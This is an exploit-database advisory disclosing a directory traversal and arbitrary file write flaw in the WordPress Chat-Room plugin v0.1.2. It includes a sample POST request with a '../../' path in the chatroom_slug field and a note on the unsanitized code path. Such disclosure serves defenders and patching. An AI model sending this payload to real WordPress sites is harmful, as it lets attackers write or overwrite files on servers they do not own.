WordPress Chat-Room plugin v0.1.2 directory traversal/arbitrary file write

2017.03.13

malwrforensics (US)

Risk: Medium

Local: No

Remote: Yes

CVE: N/A

CWE: N/A

# Exploit Title: WordPress Chat-Room plugin v0.1.2 directory traversal/arbitrary file write
# Date: 2017-03-08
# Exploit Author: malwrforensics
# Vendor Homepage: https://webdevstudios.com/
# Software Link: https://wordpress.org/plugins/chat-room/
# Version: 0.1.2
# Tested on: WordPress 4.7.3, Ubuntu 16.04.2 LTS

#Folder used by the Chat-room plugin:
http://<server>/wp-content/uploads/chatter/

#POST http://<server>/wp-admin/admin-ajax.php HTTP/1.1
#...
#Referer: http://<server>/chat-room/<chat_name/
#...
#
#action=send_message&chatroom_slug=../../<new_path_and_file>&message=test

#Vulnerable file: chat-room.php
#function save_message():
#  - the $chatroom_slug parameter is not sanitized
#  - the log_filename parameters receives the value of $chatroom_slug
#  - the write_log_file function is called which will do an
fopen($log_filename, 'w')

Thanks.

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

WordPress Chat-Room plugin v0.1.2 directory traversal/arbitrary file write

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.